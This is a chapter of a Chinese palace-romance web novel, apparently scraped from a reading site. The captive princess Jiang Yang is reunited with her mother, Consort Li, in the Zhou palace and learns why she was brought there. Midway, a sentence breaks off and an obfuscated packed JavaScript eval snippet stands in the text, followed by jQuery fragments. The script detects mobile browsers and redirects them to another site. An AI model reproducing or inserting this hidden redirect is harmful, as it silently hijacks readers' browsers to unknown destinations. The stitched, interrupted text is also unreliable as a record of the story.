周国的皇宫,辽阔而空寂。
踏在青砖上的脚步声,悄无声息消弭在御道上。
姜央脸上已干涸,她望着高耸的宫墙,仿佛重新踏入了一座巨大的黑木棺椁。
她厌憎皇宫,无论是燕国皇宫,还是周国皇宫,都是围困她的囹圄。
讽刺的是,她生于皇宫,最后只怕还是会死于皇宫。
脑子里不着边际的开始设想,见完周皇,她该是撞死在金柱上,还是私下寻条白布,吊死在宫室里。
都挺疼,早知道匕首就不还给他了。
曾内侍领着她一路向后宫行去,不愧是身居高位的内侍,宫门前那一场是非人我,都未能惹来他一分好奇。
日头高挂,二人行了两盏茶功夫,来到一处殿宇,簇新的门匾上写着“揽芳宫”三个大字,姜央愣了愣,这当是后妃居住之所。
内里走出来一名年长女官,长相普通,却有一身内敛沉稳的气质,她一见姜央,开口便笑:“公主,盼了许久,总算将您盼来了。”态度和顺亲昵,不像在对待一个亡国俘虏。
“公主请随奴婢来。”
姜央被她两声“公主”喊得一怔,不待她反应,女官已从曾内侍手中接过她,领着进了宫院。
揽芳宫内种满了花木,冬日霜雪覆盖,只剩寒梅傲然矗立。
雪与梅,也将这殿宇装点出几分盎然生机。
正殿殿门应声而开,女官站在门外,恭敬的将她请了进去。
不同于院里的单调雪景,殿内陈设奢华,少见古玩瓷器装点,取而代之的,是四处摆满了冬日可寻的珍贵花草。
中央立着一顶青鸟衔环铜熏炉,炉内燃着空山新雨后草木芬芳气息的燃香。
整个殿室,仿若一处“世外桃源”,塑造着春日芳菲的绮梦。
殿门一声轻响,女官关上了殿门,将她独自留在殿中。
室内瞬间暗了下来,遮风避寒的绸帘,将光线挡了个半。
侧室里传来窸窸窣窣的轻响,一只雪白的柔夷掀开水晶帘,琉璃珠雨背后,露出一张美妇人的脸,明丽璀璨的眉目在这暗殿里生了辉。
姜央双目圆睁,瞬间有些站立不稳,腿脚不听使唤一般向她迈去,踉踉跄跄,几欲倾倒,手还未触上她,已被美妇人一把抱住。
头上传来一声悲悲切切的哭泣,“我的儿……”
姜央埋在肚里的两个字,蒙了尘失了色,过了三年终于能如愿滚过喉头,吐露而出,“母妃……”
妇人是姜央的亲生母亲——骊妃。
骊妃原本是燕国一个小官之女,因容貌出众,被燕皇瞧中收入后宫。细数下来,燕皇宫内美人如云,但受燕皇看中的姬妾为数不多,她的母妃便是其中之一。
燕皇与骊妃之间相处多年,不说情深似海,但总归情分不浅。
三年前,齐国开始攻打燕国,燕皇向其余诸国求援,同样也求到了周国。
恰逢那年,周国似得了天授神助,在境域东北处发现一座量产丰富的铁矿。西朝诸国纷争,战乱不断,铁矿是比金矿更为宝贵的资源。
周皇借此坐地起价,声称若要周国出兵,不仅要接回周国质子左殊礼,还要燕皇赠送金银美人若干,及他后宫一名姬妾。
那名姬妾便是骊妃。
骊妃年少时随父亲周游列国,行到周国,机缘巧合下,骊妃的父亲与周皇相识。那时的周皇还是个不得志的皇子,每日游走于西京街头,无所事事,骊妃父亲博闻强识,性格开朗,他们二人同岁又一见如故,几次愉快的相处就成了至交好友。
于是他们日日相谈,夜夜畅饮,如此相处了一年之久,也正是在这些时日里,周皇被骊妃的聪慧美貌所吸引。
当年的周皇并不受看重,卑微怯懦,更没胆子求娶友人的爱女,在他挣扎郁愤之际,骊妃随父回了燕国,二人就此错过。
原本经历了这么些年岁,这段往事也不过一段笑谈,熟料,姜央身为燕国公主,谱出一曲妙绝人寰的《临春赋》,震惊西朝六国,同样引起了好曲的周皇的兴趣。周皇不过略微打听一番,竟得知姜央的生母正是当年他爱而不得的骊妃,于是起了不可说的念头。
周皇自晚年登基后,沉迷美色,后宫佳丽众多,他阅历丰富,美人皮相成了最寡淡的追求,年至花甲的高位君王,更想弥补曾经的遗憾。
得天独厚,燕皇恰巧是个不中用的,“万般无奈”下,他为了对抗来势汹汹的齐国,只得将自己的爱妃双手奉上。
当年骊妃走时,姜央哭得肝肠寸断,脱去一身公主服制就要追她而去。
怯懦了一辈子的燕皇,却在这最为宠爱的女儿面前,变得尤其强硬蛮狠。他把姜央关进了暗室,关了整整七日,更讽刺的是,燕皇陪着她,在暗室外守了整整七日。
也是经此一事,疼爱她的父皇性情大变。待骊妃,待她,都变得不可理喻。
姜央再出来时,骊妃早已出了燕国国境,燕皇也封锁关于骊妃的所有消息。
世道动乱,她费尽心思都未能打探到她的消息,以为自己的生母早已泯灭在周国血雨腥风的后宫之中。
以至于姜央从未想过,燕国没了,却能在周国重见自己的生母。
熏炉内的燃香焚尽时,二人终是哭累了。
姜央询问骊妃:“母妃这些年在周国,过的可好?”
骊妃点了点头,笑意如往日那般温柔:“还算不错。”
姜央打量了下四周,寝宫内所用之物皆考究珍贵,可见周皇待她的确不错。
短短三年时间,能从一众妃嫔中获得周皇荣宠,想必她过的未必如表面上那般如鱼得水。
“那……周皇对您……”
骊妃轻柔的将她泪痕抹揉干净,淡然道:“他还算能听进我几句话。”
那便是很不错了。
见姜央依旧带着心忧,骊妃莞尔一笑,“央儿无需多忧,我如今已是周国的骊妃,王上还将三个无母的皇子记在我的名下。”
听她话里未含任何怨怼,姜央放下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315290|182965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心来。
“如今你终于能与母妃团聚,总算了了我毕生所愿。”
大同小异的话语,她好似方听过不久。
脑中电光一闪,姜央心头一紧,她恂恂轻问,“母妃……我……为何会被送来周国?”
骊妃神色暗了暗,她抬头看向殿中昏沉的窗棂,如实相告:“是我求了周皇,让左殊礼争夺燕国战利时,将你顺手救来的。”
姜央一惊,霎时脑中空茫,怔怔问,“所以我来周国,只是与你团聚?”
话说至此,骊妃神色轻松了几分,“不错,虽跟周皇费了些口舌,总归是他得利。好在此役领兵的是左殊礼,就是辛苦他忙中奔波这一趟。”
姜央再度惊诧,原来她不是被献给周皇的,一切的一切,竟然都是母妃所求。
那为何左殊礼不肯告知她?这种隐瞒,与欺骗又有何异?
自她被救下之后,他日日看着她惊悸,看着她惶恐,看着她心如死灰,难道都是为了折磨报复她?
她第一回有些恨他。
那块玉佩,该摔的再碎一些,碎成齑粉,怎么都拼凑不齐才好。
骊妃见她面色有异,问:“央儿怎么了?”
姜央半垂下眼,遮遮掩掩道:“只是惊喜太过,一时未能回转过来。”
骊妃调笑道:“惊喜?怎的,路上左殊礼未告知你?”
姜央不语,骊妃面上笑容一滞,“他竟真未告知你?”
姜央轻轻点了点头,如告状的孩童,诉说委屈都不敢太过放肆。
骊妃愣了片刻,转而轻叹一声,感慨道:“他与他一母同胞的哥哥左殊恩,虽一同记在我的名下,相处三年,殊礼行事怪癖狠厉,我也……不太了解他。”
确切的说,她有几分怕他。更何况,虽为母子,岁数差距却不大,当年周皇有意偏袒她,将这两个能力出众的儿子放在她名下,用以稳固她的地位,她自是不敢对他们多加管束。
骊妃似回想到什么,问:“当年他在燕国为质时,你们同在大儒门下,关系不是挺……亲善的吗?”
何止亲善,在外人看来,他们即为同窗,也是至交,私下里……
姜央不敢多言,唯恐漏了痕迹,欲盖弥彰道:“许是太久不见,生分了。”
骊妃眼里闪过一丝暗沉,很快又消失不见。
她扶起姜央,面上是枷锁卸下的如释重负,连带语气也轻快了几分,“先不说旁的了,如今你已安然无恙来了周国,那便好生呆着。”
她温婉的轻抚她的青丝,手中的温热柔柔传递过来,“过几日周皇设宴,待他高兴之时,母妃再向陛下给你求个身份。”
姜央一怔,不由得问:“什么身份?”
骊妃笑容一瞬间明艳起来,灼灼含光:“你是我的亲生女儿,我如今是周国的骊妃,自然是要给你求个周国‘公主’的身份了。”
姜央闻言先是一松,随后猛的一噎。
“公主”?那她……岂不是成左殊礼的“妹妹”?